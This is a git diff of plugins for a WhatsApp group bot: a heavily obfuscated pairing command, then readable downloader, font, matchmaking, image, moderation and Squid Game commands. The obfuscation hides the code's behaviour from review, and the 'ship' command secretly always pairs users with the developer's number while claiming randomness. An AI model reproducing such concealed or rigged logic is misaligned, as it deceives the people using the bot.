_0x230cc7(_0x54c832,_0x2064b6-0xba,_0x498ecf-0x7a,_0x74fb7d-0x3ca);}if(_0x4a88af){const _0x3e33f3=_0x4a88af[_0x33858e(0x16c,0x13f,0x19b,0x133)](_0x303f89,arguments);return _0x4a88af=null,_0x3e33f3;}}:function(){};return _0x4305bd=![],_0x374e0b;}else{let _0x5aefd8;try{const _0x3a43a1=_0x247762(_0x55464b['zPNIG'](_0x55464b['RvwPM'],_0x509ebe(0x323,0x30b,0x318,0x2dd)+_0x509ebe(0x358,0x34a,0x374,0x338)+_0x509ebe(0x2e0,0x312,0x326,0x345)+'\x20)')+');');_0x5aefd8=_0x3a43a1();}catch(_0x55a851){_0x5aefd8=_0x2760b2;}const _0x39799b=_0x5aefd8[_0x509ebe(0x327,0x353,0x376,0x360)]=_0x5aefd8[_0x230cc7(-0x227,-0x1fc,-0x24b,-0x21a)]||{},_0x212cbc=['log',_0x55464b[_0x509ebe(0x3ab,0x377,0x365,0x3a9)],_0x509ebe(0x301,0x327,0x2fd,0x2fc),_0x55464b[_0x509ebe(0x301,0x318,0x326,0x332)],_0x55464b[_0x230cc7(-0x245,-0x222,-0x21e,-0x217)],'table',_0x55464b[_0x509ebe(0x370,0x343,0x30b,0x315)]];for(let _0x20888b=-0xf*-0x1b1+-0x2463+0xb04;_0x55464b['NRCId'](_0x20888b,_0x212cbc[_0x230cc7(-0x262,-0x263,-0x258,-0x22e)]);_0x20888b++){const _0x435652=_0x33468a[_0x230cc7(-0x269,-0x229,-0x28a,-0x250)+'r'][_0x509ebe(0x300,0x33a,0x36f,0x364)][_0x230cc7(-0x211,-0x23a,-0x254,-0x22d)](_0x5464f6),_0xee5f96=_0x212cbc[_0x20888b],_0x45942f=_0x39799b[_0xee5f96]||_0x435652;_0x435652[_0x509ebe(0x317,0x322,0x353,0x35d)]=_0x5ae11e[_0x509ebe(0x31b,0x340,0x359,0x316)](_0x3fe22f),_0x435652['toString']=_0x45942f[_0x509ebe(0x304,0x335,0x34f,0x360)][_0x230cc7(-0x213,-0x238,-0x211,-0x22d)](_0x45942f),_0x39799b[_0xee5f96]=_0x435652;}}};}()),_0x2da640=_0x3281a0(this,function(){const _0x4c1bc1={'lLZad':function(_0x267a42,_0xe1fe28){return _0x267a42+_0xe1fe28;},'OqsOL':'return\x20(fu'+_0x156814(0x14a,0x154,0x136,0x14d),'ONTrL':_0x156814(0x130,0x14b,0x142,0x154)+'ctor(\x22retu'+_0x156814(0x16f,0x152,0x147,0x166)+'\x20)','XrWoy':function(_0x3d6452){return _0x3d6452();},'Sayes':_0x156814(0x155,0x18d,0x17c,0x16f),'YJegz':_0x1fa2f7(-0x8b,-0xbf,-0xa3,-0x9f),'PFDDm':'log','dtFID':_0x156814(0x1c3,0x1a5,0x188,0x19f),'ZcrbM':'info','TFwZI':'error','hlstM':_0x1fa2f7(-0x8e,-0xbe,-0xaa,-0xf6),'vyXWe':_0x156814(0x1b1,0x17e,0x193,0x161),'vRJDJ':'trace','mGHdu':function(_0x3e1630,_0x286dd6){return _0x3e1630<_0x286dd6;}};let _0x3925b3;try{const _0x38ebbe=Function(_0x4c1bc1[_0x1fa2f7(-0xe5,-0xc2,-0xca,-0x9b)](_0x4c1bc1[_0x156814(0x1b1,0x1aa,0x1c5,0x184)](_0x4c1bc1[_0x156814(0x170,0x163,0x13f,0x12e)],_0x4c1bc1[_0x156814(0x17e,0x14d,0x16c,0x16d)]),');'));_0x3925b3=_0x4c1bc1[_0x156814(0x1bf,0x194,0x17a,0x175)](_0x38ebbe);}catch(_0x508ff4){if(_0x4c1bc1[_0x1fa2f7(-0x12a,-0x111,-0x14c,-0x117)]===_0x4c1bc1[_0x1fa2f7(-0xe5,-0x104,-0xd5,-0xe8)]){const _0x39a39f=_0x1319e0['apply'](_0x26214c,arguments);return _0x441ae4=null,_0x39a39f;}else _0x3925b3=window;}function _0x156814(_0x5c6163,_0x3caf5c,_0x5ef8cb,_0x1f22f1){return _0x356f(_0x3caf5c-0x56,_0x5c6163);}const _0x25c91e=_0x3925b3[_0x1fa2f7(-0xbd,-0xd9,-0xd3,-0xa1)]=_0x3925b3[_0x1fa2f7(-0x112,-0xd9,-0xc4,-0xcf)]||{},_0x2ccd50=[_0x4c1bc1[_0x1fa2f7(-0xc7,-0xad,-0x79,-0xde)],_0x4c1bc1[_0x156814(0x15c,0x16a,0x195,0x14b)],_0x4c1bc1[_0x1fa2f7(-0x12d,-0x120,-0xf4,-0x105)],_0x4c1bc1[_0x1fa2f7(-0x11b,-0x115,-0x13f,-0x112)],_0x4c1bc1[_0x156814(0x1c6,0x1a2,0x187,0x1a2)],_0x4c1bc1[_0x156814(0x164,0x151,0x171,0x187)],_0x4c1bc1[_0x156814(0x147,0x176,0x170,0x18b)]];function _0x1fa2f7(_0x18ef13,_0xf46883,_0x38a4e1,_0x54a2e9){return _0x356f(_0xf46883- -0x216,_0x38a4e1);}for(let _0x45c335=-0xfe0*0x2+-0x2568+-0x114a*-0x4;_0x4c1bc1['mGHdu'](_0x45c335,_0x2ccd50[_0x1fa2f7(-0xb8,-0xed,-0xfb,-0x104)]);_0x45c335++){const _0x318f51=_0x3281a0[_0x1fa2f7(-0xf7,-0x10f,-0xf5,-0xe6)+'r'][_0x1fa2f7(-0xd9,-0xf2,-0xbd,-0x107)][_0x156814(0x155,0x180,0x15b,0x153)](_0x3281a0),_0x5efe85=_0x2ccd50[_0x45c335],_0x582109=_0x25c91e[_0x5efe85]||_0x318f51;_0x318f51[_0x156814(0x187,0x162,0x156,0x189)]=_0x3281a0[_0x1fa2f7(-0xf4,-0xec,-0x126,-0x107)](_0x3281a0),_0x318f51[_0x1fa2f7(-0x10b,-0xf7,-0xc5,-0xcf)]=_0x582109[_0x1fa2f7(-0x11b,-0xf7,-0x106,-0x124)][_0x1fa2f7(-0x113,-0xec,-0xbe,-0xec)](_0x582109),_0x25c91e[_0x5efe85]=_0x318f51;}});_0x2da640();const axios=require(_0x5ce871(0x18a,0x180,0x159,0x165)),{cmd}=require('../command'),{fetchGif,gifToVideo}=require(_0x38dca0(0x3ae,0x3ce,0x3af,0x3e6)+_0x5ce871(0x11e,0x124,0x12a,0x13f)),_0x2d36d8={};function _0x38dca0(_0x5aa432,_0x16eb0f,_0x1a63dc,_0xbdc376){return _0x356f(_0xbdc376-0x2d6,_0x1a63dc);}_0x2d36d8[_0x5ce871(0x145,0x16b,0x17a,0x16b)]=_0x5ce871(0x151,0x12f,0x11d,0x126),_0x2d36d8[_0x38dca0(0x413,0x3c5,0x3b6,0x3e0)]=[_0x5ce871(0x1aa,0x146,0x177,0x180),_0x5ce871(0x17c,0x1a3,0x152,0x183),'wedding'];function _0x5ce871(_0x569f5d,_0x450481,_0x1ad765,_0x35f7ca){return _0x356f(_0x35f7ca-0x1e,_0x569f5d);}_0x2d36d8[_0x38dca0(0x427,0x450,0x414,0x419)]=_0x38dca0(0x427,0x3e0,0x3c7,0x3ee)+'airs\x20two\x20u'+_0x38dca0(0x451,0x40f,0x45f,0x42b)+_0x38dca0(0x444,0x424,0x3fd,0x412)+_0x5ce871(0x16a,0x1b5,0x161,0x17e)+_0x38dca0(0x3e8,0x410,0x44a,0x415),_0x2d36d8['react']='๐Ÿ’',_0x2d36d8['category']='fun',_0x2d36d8[_0x5ce871(0x140,0x124,0x153,0x14d)]=__filename,cmd(_0x2d36d8,async(_0x427937,_0x409f97,_0x15fa22,{isGroup:_0x514b2c,groupMetadata:_0x7bba45,reply:_0x5c1cc8,sender:_0x5b065b})=>{function _0x594852(_0xa70f16,_0x409d26,_0xbeee04,_0x3326b3){return _0x38dca0(_0xa70f16-0x1ee,_0x409d26-0xd6,_0x409d26,_0xa70f16-0xeb);}function _0x41294f(_0x1f8498,_0x505bf7,_0x1c634f,_0x569f17){return _0x38dca0(_0x1f8498-0x38,_0x505bf7-0x1d3,_0x1c634f,_0x569f17- -0x3fa);}const _0x15cc22={'noDLv':function(_0x40c918,_0x4f91b9){return _0x40c918(_0x4f91b9);},'oEDxh':_0x594852(0x4f6,0x4dd,0x506,0x4e7)+_0x41294f(0x53,0x51,0x10,0x40)+_0x41294f(0x40,0x10,-0x24,0xa)+_0x594852(0x4fb,0x514,0x4ff,0x4f6)+_0x594852(0x4e6,0x51c,0x4bf,0x4c5),'UPDFT':function(_0x4d4a4c,_0x392e4c){return _0x4d4a4c<_0x392e4c;},'LwIYF':function(_0x3e938f,_0xf70881){return _0x3e938f(_0xf70881);},'lGodu':'hRrWS','BdROH':_0x41294f(0x36,0xb,-0xf,0x17)};try{if(!_0x514b2c)return _0x5c1cc8(_0x41294f(0xb,0x1b,-0x5,0xd)+_0x41294f(0x18,-0x41,-0x1,-0x1b)+_0x594852(0x502,0x4ef,0x52a,0x4c8)+_0x41294f(0x8,0x29,0x26,0x12)+'s!');const _0x5e5d3e=_0x7bba45[_0x41294f(0x3c,0xd,0x5a,0x39)+'ts']['map'](_0x4ee9d2=>_0x4ee9d2['id']),_0x3b7027=_0x5e5d3e['filter'](_0x48c849=>_0x48c849!==_0x5b065b&&!_0x48c849[_0x41294f(-0x14,0x3,-0xa,0x2)](_0x427937['user']['id'][_0x594852(0x50c,0x4da,0x4d2,0x4e2)]('@')[-0x1a2*0x6+0x17be+0x2ca*-0x5]));if(_0x15cc22[_0x41294f(0x26,-0x12,-0x26,-0xd)](_0x3b7027['length'],-0x5*-0x17b+0x1a6f+-0x21d5))return _0x15cc22[_0x41294f(-0x3c,-0x23,-0x2c,-0x16)](_0x5c1cc8,_0x15cc22['oEDxh']);const _0x780829=Math[_0x41294f(-0x19,-0x52,-0x59,-0x25)](Math['random']()*_0x3b7027[_0x594852(0x4ea,0x4db,0x4bc,0x4ec)]),_0x37cf9d=_0x3b7027[_0x780829],_0x1a2e1c=_0x41294f(-0x29,-0x10,0xb,-0x8)+'i.waifu.pi'+'cs/sfw/hug';let _0x3a77e5=await axios[_0x41294f(0x9,0x40,0x2,0xe)](_0x1a2e1c),_0x2d514d=_0x3a77e5[_0x41294f(0xd,0x52,0x1c,0x2d)][_0x41294f(-0x1d,-0x18,0x5,-0x6)],_0x826a12=await _0x15cc22[_0x41294f(-0x9,-0x3d,-0x37,-0x15)](fetchGif,_0x2d514d),_0x16f7c7=await gifToVideo(_0x826a12);const _0x38f07a='๐Ÿ’\x20*Shadi\x20M'+_0x41294f(0x22,-0x5,0x34,0x21)+_0x594852(0x4da,0x4cb,0x4e5,0x4a0)+_0x5b065b[_0x41294f(-0x12,0x5b,0x51,0x27)]('@')[0x55*-0x6a+-0x2*0x11fc+0x472a]+'\x20+\x20๐Ÿคต\x20@'+_0x37cf9d[_0x41294f(0xd,0x50,0x26,0x27)]('@')[0x131+-0x224*-0x2+-0x1d3*0x3]+('\x0a\x0aMay\x20you\x20'+_0x594852(0x4ec,0x4b3,0x4e8,0x4cc)+_0x594852(0x513,0x51f,0x510,0x4db)+'er\x20after!\x20'+'๐Ÿ’–'),_0x206233={};_0x206233['video']=_0x16f7c7,_0x206233[_0x594852(0x524,0x500,0x54a,0x510)]=_0x38f07a,_0x206233[_0x41294f(0xd,-0x1c,-0x25,-0x20)+'k']=!![],_0x206233['mentions']=[_0x5b065b,_0x37cf9d],await _0x427937[_0x594852(0x51a,0x519,0x4e5,0x536)+'e'](_0x409f97[_0x594852(0x4ed,0x512,0x4e9,0x4cc)],_0x206233,{'quoted':_0x409f97});}catch(_0x417795){if(_0x15cc22[_0x594852(0x4b9,0x4a4,0x4cd,0x4d3)]!==_0x15cc22[_0x41294f(0x24,0x71,0x5c,0x3a)])console[_0x594852(0x4c7,0x4c8,0x4c6,0x4a8)](_0x594852(0x509,0x50a,0x544,0x51d)+_0x41294f(-0x32,-0x11,-0x45,-0x19)+'ommand:',_0x417795),_0x15cc22['noDLv'](_0x5c1cc8,_0x594852(0x528,0x518,0x4fa,0x51a)+'n\x20.marige\x20'+_0x41294f(-0x35,-0x39,0x29,-0xa)+_0x594852(0x4c4,0x49c,0x4a1,0x4b3)+_0x417795[_0x594852(0x51c,0x542,0x50d,0x51d)]+_0x594852(0x4c4,0x4ae,0x4ec,0x494));else return _0x15cc22[_0x41294f(0x11,-0x3e,-0x1c,-0x16)](_0x3e3418,_0x15cc22['oEDxh']);}}); diff --git a/plugins/fb-dl.js b/plugins/fb-dl.js new file mode 100644 index 0000000000000000000000000000000000000000..e08fbfc29ec50bf6556f9b5219f8cf4fc56319b6 --- /dev/null +++ b/plugins/fb-dl.js @@ -0,0 +1,82 @@ +const axios = require("axios"); +const { cmd } = require("../command"); + +cmd({ + pattern: "fbdl", + alias: ["facebook", "fb"], + react: 'โฐ', + desc: "Download videos from Facebook.", + category: "download", + use: ".fbdl ", + filename: __filename +}, async (conn, mek, m, { from, reply, args }) => { + try { + // Check if the user provided a Facebook video URL + const fbUrl = args[0]; + if (!fbUrl || !fbUrl.includes("facebook.com")) { + return reply('*๐โ„“ั”ฮฑส‚ั” ๐ษผเนฮฝฮนษ–ั” ๐€ fbา‡ ๐•ฮนษ–ั”เน เนษผ ษผั”ั”โ„“ ๐”ษผโ„“..*'); + } + + // Add a reaction to indicate processing + await conn.sendMessage(from, { react: { text: 'โณ', key: m.key } }); + + // Prepare the API URL + const apiUrl = `https://apis.davidcyriltech.my.id/facebook2?url=${encodeURIComponent(fbUrl)}`; + + // Call the API using GET + const response = await axios.get(apiUrl); + + // Check if the API response is valid + if (!response.data || !response.data.status || !response.data.video) { + return reply('โŒ Unable to fetch the video. Please check the URL and try again.'); + } + + // Extract the video details + const { title, thumbnail, downloads } = response.data.video; + + // Get the highest quality download link (HD or SD) + const downloadLink = downloads.find(d => d.quality === "HD")?.downloadUrl || downloads[0].downloadUrl; + + // Inform the user that the video is being downloaded + // await reply('```Downloading video... Please wait.๐Ÿ“ฅ```'); + + // Download the video + const videoResponse = await axios.get(downloadLink, { responseType: 'arraybuffer' }); + if (!videoResponse.data) { + return reply('โŒ Failed to download the video. Please try again later.'); + } + + // Prepare the video buffer + const videoBuffer = Buffer.from(videoResponse.data, 'binary'); + + // Send the video with details + await conn.sendMessage(from, { + video: videoBuffer, + caption: `*๐ŸซŸ๐€ษญฤซฤซ ๐ŒฦŠ ๐ƒ๐Ž๐–๐๐‹๐Ž๐€๐ƒ๐„๐ƒ*\n\n` + + `๐Ÿ”– *TITLE*: ${title}\n` + + `๐Ÿ“ *QUALITY*: ${downloads.find(d => d.quality === "HD") ? "HD" : "SD"}\n\n` + + `> *ยฉ แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช*`, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: 'ใ€Ž ๐€ษญฤซฤซ ๐ŒฦŠ ๐…๐ ๐ƒ๐‹ ใ€', + serverMessageId: 143 + } + } + }, { quoted: mek }); + + // Add a reaction to indicate success + await conn.sendMessage(from, { react: { text: 'โœ…', key: m.key } }); + } catch (error) { + console.error('Error downloading video:', error); + reply('โŒ Unable to download the video. Please try again later.'); + + // Add a reaction to indicate failure + await conn.sendMessage(from, { react: { text: 'โŒ', key: m.key } }); + } +}); + + diff --git a/plugins/font-txt.js b/plugins/font-txt.js new file mode 100644 index 0000000000000000000000000000000000000000..250b7df4cffa19e05e1f704c5e6f46b8fc380535 --- /dev/null +++ b/plugins/font-txt.js @@ -0,0 +1,6 @@ + + + + + +const { cmd } = require('../command'); const axios = require('axios'); cmd({ pattern: "fancy", alias: ['font', "style"], react: 'โ™ป๏ธ', desc: "Convert text into various fonts.", category: "tools", filename: __filename }, async (conn, mek, m, { from, quoted, body, args, q, reply }) => { try { if (!q) return reply("Please provide text to convert into fonts. Eg .fancy Carmen"); let response = await axios.get('https://www.dark-yasiya-api.site/other/font?text=' + encodeURIComponent(q)); let data = response.data; if (!data.status) return reply("Error fetching fonts. Please try again later."); let fontResults = data.result.map(font => '*' + font.name + ":*\n" + font.result).join("\n\n"); let message = `*ALI FANCY FONTS*:\n\n${fontResults}\n\n> *BY ALI_MD-V1*`; await conn.sendMessage(from, { text: message, contextInfo: { mentionedJid: [m.sender], forwardingScore: 999, isForwarded: true, forwardedNewsletterMessageInfo: { newsletterJid: '120363318387454868@newsletter', newsletterName: '๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐Ÿ', serverMessageId: 143 } } }, { quoted: mek }); } catch (error) { console.error(error); reply("An error occurred while fetching fonts."); } }); diff --git a/plugins/fun-ship.js b/plugins/fun-ship.js new file mode 100644 index 0000000000000000000000000000000000000000..cadded78bf35e1f884f872a7fc23d0640b89e7ed --- /dev/null +++ b/plugins/fun-ship.js @@ -0,0 +1,52 @@ +const axios = require("axios"); +const fetch = require("node-fetch"); +const { sleep } = require('../lib/functions'); +const { cmd, commands } = require("../command"); +const config = require("../config"); + +cmd({ + pattern: "ship", + alias: ["match", "love"], + desc: "Randomly pairs the command user with another group member.", + react: "โค๏ธ", + category: "fun", + filename: __filename +}, async (conn, m, store, { from, isGroup, groupMetadata, reply, sender }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + + const specialNumber = config.DEV ? `${config.DEV}@s.whatsapp.net` : null; // Convert to WhatsApp format + const participants = groupMetadata.participants.map(user => user.id); + + let randomPair; + + if (specialNumber && participants.includes(specialNumber) && sender !== specialNumber) { + randomPair = specialNumber; // Always pair with this number if available + } else { + // Pair randomly but ensure user is not paired with themselves + do { + randomPair = participants[Math.floor(Math.random() * participants.length)]; + } while (randomPair === sender); + } + + const message = `๐Ÿ’˜ *Match Found!* ๐Ÿ’˜\nโค๏ธ @${sender.split("@")[0]} + @${randomPair.split("@")[0]}\n๐Ÿ’– Congratulations! ๐ŸŽ‰`; + + await conn.sendMessage(from, { + text: message, + contextInfo: { + mentionedJid: [sender, randomPair], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: "120363318387454868@newsletter", + newsletterName: "๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐Ÿ", + serverMessageId: 143 + } + } + }); + + } catch (error) { + console.error("โŒ Error in ship command:", error); + reply("โš ๏ธ An error occurred while processing the command. Please try again."); + } +}); diff --git a/plugins/fun.js b/plugins/fun.js new file mode 100644 index 0000000000000000000000000000000000000000..01718befb8f81dc024647b00afb9254945c3a65b --- /dev/null +++ b/plugins/fun.js @@ -0,0 +1,134 @@ + + +const axios = require('axios'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "cosplay", + desc: "Fetch a random cosplay picture.", + category: "fun", + react: "๐ŸŽญ", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + // URL de l'API + const apiUrl = `https://fantox-cosplay-api.onrender.com/`; + const response = await axios.get(apiUrl); + const data = response.data; + + // Validation de la rรฉponse + if (data && data.url) { + // Envoi de l'image + await conn.sendMessage(from, { + image: { url: data.url }, + caption: "Here is your random cosplay picture! ๐ŸŽญ", + }, { quoted: mek }); + } else { + reply("Error: The API response is invalid. Could not fetch a cosplay picture."); + } + } catch (e) { + // Gestion dรฉtaillรฉe des erreurs + if (e.response) { + // Erreur renvoyรฉe par l'API (ex. : 404, 500) + reply(`API Error: ${e.response.status} - ${e.response.data?.message || 'No message provided by the server'}`); + } else if (e.request) { + // Erreur rรฉseau : pas de rรฉponse du serveur + reply( + "Network Error: The API server is not responding. Possible reasons:\n" + + "- The server may be down or temporarily unavailable.\n" + + "- There may be an issue with your internet connection.\n\n" + + "Please check your internet connection and try again later." + ); + } else { + // Autre erreur + reply(`Unexpected Error: ${e.message}`); + } + } +}); +cmd({ + pattern: "neko", + desc: "Fetch a random neko picture.", + category: "fun", + react: "๐Ÿฑ", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + // URL de l'API + const apiUrl = `https://api.waifu.pics/sfw/neko`; + const response = await axios.get(apiUrl); + const data = response.data; + + // Validation de la rรฉponse + if (data && data.url) { + // Envoi de l'image avec le caption + await conn.sendMessage(from, { + image: { url: data.url }, + caption: "Here is your random neko picture! ๐Ÿฑ", + }, { quoted: mek }); + } else { + reply("Error: The API response is invalid. Could not fetch a neko picture."); + } + } catch (e) { + // Gestion dรฉtaillรฉe des erreurs + if (e.response) { + // Erreur renvoyรฉe par l'API (ex. : 404, 500) + reply(`API Error: ${e.response.status} - ${e.response.data?.message || 'No message provided by the server'}`); + } else if (e.request) { + // Erreur rรฉseau : pas de rรฉponse du serveur + reply( + "Network Error: The API server is not responding. Possible reasons:\n" + + "- The server may be down or temporarily unavailable.\n" + + "- There may be an issue with your internet connection.\n\n" + + "Please check your internet connection and try again later." + ); + } else { + // Autre erreur + reply(`Unexpected Error: ${e.message}`); + } + } +}); +cmd({ + pattern: "waifu", + desc: "Fetch a random waifu picture.", + category: "fun", + react: "๐Ÿ’–", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + // URL de l'API + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + // Validation de la rรฉponse + if (data && data.url) { + // Envoi de l'image avec le caption + await conn.sendMessage(from, { + image: { url: data.url }, + caption: "Here is your random waifu picture! ๐Ÿ’–", + }, { quoted: mek }); + } else { + reply("Error: The API response is invalid. Could not fetch a waifu picture."); + } + } catch (e) { + // Gestion dรฉtaillรฉe des erreurs + if (e.response) { + // Erreur renvoyรฉe par l'API (ex. : 404, 500) + reply(`API Error: ${e.response.status} - ${e.response.data?.message || 'No message provided by the server'}`); + } else if (e.request) { + // Erreur rรฉseau : pas de rรฉponse du serveur + reply( + "Network Error: The API server is not responding. Possible reasons:\n" + + "- The server may be down or temporarily unavailable.\n" + + "- There may be an issue with your internet connection.\n\n" + + "Please check your internet connection and try again later." + ); + } else { + // Autre erreur + reply(`Unexpected Error: ${e.message}`); + } + } +}); diff --git a/plugins/function.js b/plugins/function.js new file mode 100644 index 0000000000000000000000000000000000000000..22e37905db5c0245bfc1491ac10b22082ed1a054 --- /dev/null +++ b/plugins/function.js @@ -0,0 +1,79 @@ + + + +const { cmd } = require('../command') +const fs = require('fs'); +const path = require('path'); +const config = require('../config') +// List of bad words to check against + // Replace with actual words +cmd({ + on: "body" +}, +async (conn,mek, m, { from, body, isGroup, isAdmins, isBotAdmins, reply, sender }) => { + try { + + const badWords = ["wtf", "mia", "xxx","fuck","sex","huththa","pakaya","ponnaya","hutto"] + if (!isGroup || isAdmins || !isBotAdmins) return; // Skip if not in group, or sender is admin, or bot is not admin + + const lowerCaseMessage = body.toLowerCase(); + const containsBadWord = badWords.some(word => lowerCaseMessage.includes(word)); + + if (containsBadWord & config.ANTI_BAD_WORD === 'true') { + await conn.sendMessage(from, { delete: mek.key }, { quoted: mek }); + await conn.sendMessage(from, { + 'text': `*โš ๏ธ๐–ฮฑส€ษดฮนษดg ๐ฯƒส€ะธ,๐ฮฑโˆ‚ ๐–ฯƒส€โˆ‚,๐ฯ…โˆ‚ั” ๐ฮนยข ๐€ษดโˆ‚.@${sender.split('@')[0]} ๐•ฮนโˆ‚ั”ฯƒั• ๐ฯƒั‚ ๐€โ„“โ„“ฯƒฯ‰ั”โˆ‚ ๐‡ั”ส€ั”๐Ÿ“›*`, + 'mentions': [sender] + }, { 'quoted': m }); + } + } catch (error) { + console.error(error) + reply("An error occurred while processing the message.") + } +}) + + +const linkPatterns = [ + /https?:\/\/(?:chat\.whatsapp\.com|wa\.me)\/\S+/gi, // WhatsApp group or chat links + /wa\.me\/\S+/gi, // wa.me links without https + /https?:\/\/(?:t\.me|telegram\.me)\/\S+/gi, // Telegram links + /https?:\/\/(?:www\.)?\.com\/\S+/gi, // channel links + /https?:\/\/(?:www\.)?twitter\.com\/\S+/gi, // Twitter links + /https?:\/\/(?:www\.)?linkedin\.com\/\S+/gi, // LinkedIn links + /https?:\/\/(?:whatsapp\.com|channel\.me)\/\S+/gi, // Snapchat links + /https?:\/\/(?:www\.)?reddit\.com\/\S+/gi, // Reddit links + /https?:\/\/(?:www\.)?discord\.com\/\S+/gi, // Discord links + /https?:\/\/(?:www\.)?twitch\.tv\/\S+/gi, // Twitch links + /https?:\/\/(?:www\.)?vimeo\.com\/\S+/gi, // Vimeo links + /https?:\/\/(?:www\.)?dailymotion\.com\/\S+/gi, // Dailymotion links + /https?:\/\/(?:www\.)?medium\.com\/\S+/gi // Medium links +]; + +cmd({ + on: 'body' +}, async (conn, m, store, { + from, + body, + sender, + isGroup, + isAdmins, + isBotAdmins +}) => { + try { + if (!isGroup || isAdmins || !isBotAdmins) { + return; + } + + const containsLink = linkPatterns.some(pattern => pattern.test(body)); + + if (containsLink && config.DELETE_LINK === 'true') { + await conn.sendMessage(from, { 'delete': m.key }, { 'quoted': m }); + await conn.sendMessage(from, { + 'text': `*โš ๏ธ๐‹ฮนษดะบั• ๐€ส€ั” ๐ฯƒั‚ ๐€โ„“โ„“ฯƒฯ‰ั”โˆ‚ ๐ˆษด ๐“ะฝฮนั• ๐†ส€ฯƒฯ…ฯ.@${sender.split('@')[0]} ๐โ„“ั”ฮฑั•ั” ๐€ฮฝฯƒฮนโˆ‚ ๐’ั”ษดโˆ‚ฮนะธg ๐‹ฮนษดะบั•.๐Ÿ“›*`, + 'mentions': [sender] + }, { 'quoted': m }); + } + } catch (error) { + console.error(error); + } +}); diff --git a/plugins/game.js b/plugins/game.js new file mode 100644 index 0000000000000000000000000000000000000000..a8ed0a6e4964a8ad0796defb2d69352e28b4cc27 --- /dev/null +++ b/plugins/game.js @@ -0,0 +1,196 @@ +const { delay } = require("@whiskeysockets/baileys"); +const { cmd } = require("../command"); + +cmd({ + pattern: "squidgame", + desc: "Lancer le jeu Squid Game dans un groupe", + category: "fun", + filename: __filename +}, async (conn, mek, m, { isAdmin, isOwner, participants, reply }) => { + try { + if (!m.isGroup) return reply("โŒ Cette commande ne peut รชtre utilisรฉe que dans les groupes."); + if (!isAdmin && !isOwner) return reply("โŒ Seuls les admins peuvent utiliser cette commande."); + + let groupMembers = participants.filter(p => !p.admin); // Exclure les admins + if (groupMembers.length < 5) return reply("โš ๏ธ Il faut au moins 5 membres non-admins pour jouer."); + + let gameCreator = "@" + m.sender.split("@")[0]; + + // Message d'annonce du jeu + let gameMessage = `๐Ÿ”ด *Squid Game: Red Light,๐ŸŸขGreen Light*\n\n๐ŸŽญ *Front Man*: (${gameCreator})\n`; + gameMessage += groupMembers.map(m => "@" + m.id.split("@")[0]).join("\n") + "\n\n"; + gameMessage += "Tous les autres membres du groupe sont ajoutรฉs comme joueurs ! Le jeu commence dans 50 secondes."; + + await conn.sendMessage(m.chat, { text: gameMessage, mentions: groupMembers.map(m => m.id) }); + + await delay(50000); // Attente de 50s avant de sรฉlectionner les joueurs + + // Sรฉlectionner 50 joueurs alรฉatoires + let players = groupMembers.sort(() => 0.5 - Math.random()).slice(0, 5); + + let playersList = players.map((p, i) => `${i + 1}. @${p.id.split("@")[0]}`).join("\n"); + + await conn.sendMessage(m.chat, { + text: `๐ŸŽฎ *Liste des joueurs:*\n${playersList}\n\n๐Ÿ”” Le jeu commence maintenant !`, + mentions: players.map(p => p.id) + }); + + await delay(3000); + + // Explication des rรจgles + let rulesMessage = `๐Ÿ“œ *Rรจgles du Squid Game:*\n\n` + + `1๏ธโƒฃ Pendant ๐ŸŸฅ *Red Light*, les joueurs qui envoient un message seront *รฉliminรฉs* et *expulsรฉs* du groupe.\n\n` + + `2๏ธโƒฃ Pendant ๐ŸŸฉ *Green Light*, les joueurs doivent envoyer un message. Ceux qui restent silencieux seront รฉliminรฉs.\n\n` + + `3๏ธโƒฃ Le jeu se termine lorsqu'il ne reste plus qu'un seul joueur.\n\n` + + `๐Ÿ† Survis pour devenir le *gagnant* !`; + + await conn.sendMessage(m.chat, { text: rulesMessage }); + + await delay(5000); + + let remainingPlayers = [...players]; + while (remainingPlayers.length > 1) { + let isGreenLight = Math.random() > 0.5; + let lightMessage = isGreenLight ? "๐ŸŸฉ *Green Light*" : "๐ŸŸฅ *Red Light*"; + await conn.sendMessage(m.chat, { text: `๐Ÿ”” ${lightMessage}` }); + + await delay(5000); // Dรฉlai de 5s entre chaque phase + + let playersToKick = []; + let spokenPlayers = new Set(); // Stocke ceux qui ont parlรฉ + + conn.ev.on("messages.upsert", (msg) => { + let sender = msg.messages[0].key.remoteJid; + if (remainingPlayers.find(p => p.id === sender)) spokenPlayers.add(sender); + }); + + if (isGreenLight) { + // Vรฉrifier qui ne parle pas + for (let player of remainingPlayers) { + if (!spokenPlayers.has(player.id)) { + playersToKick.push(player); + } + } + } else { + // Vรฉrifier qui parle + for (let player of remainingPlayers) { + if (spokenPlayers.has(player.id)) { + playersToKick.push(player); + } + } + } + + for (let player of playersToKick) { + await conn.groupParticipantsUpdate(m.chat, [player.id], "remove"); + let eliminationMessage = isGreenLight + ? `โŒ @${player.id.split("@")[0]} est restรฉ silencieux pendant ๐ŸŸฉ *Green Light* et a รฉtรฉ รฉliminรฉ et expulsรฉ du groupe.` + : `โŒ @${player.id.split("@")[0]} a รฉcrit pendant ๐ŸŸฅ *Red Light* et a รฉtรฉ รฉliminรฉ et expulsรฉ du groupe.`; + + await conn.sendMessage(m.chat, { + text: eliminationMessage, + mentions: [player.id] + }); + } + + remainingPlayers = remainingPlayers.filter(p => !playersToKick.includes(p)); + } + + if (remainingPlayers.length === 1) { + await conn.sendMessage(m.chat, { + text: `๐Ÿ† *Fรฉlicitations @${remainingPlayers[0].id.split("@")[0]} !*\nTu as survรฉcu et remportรฉ le Squid Game ! ๐ŸŽ‰`, + mentions: [remainingPlayers[0].id] + }); + } + } catch (error) { + console.error("Erreur dans la commande .squidgame:", error); + reply("โŒ Une erreur s'est produite lors du lancement du Squid Game."); + } +}); + +cmd({ + 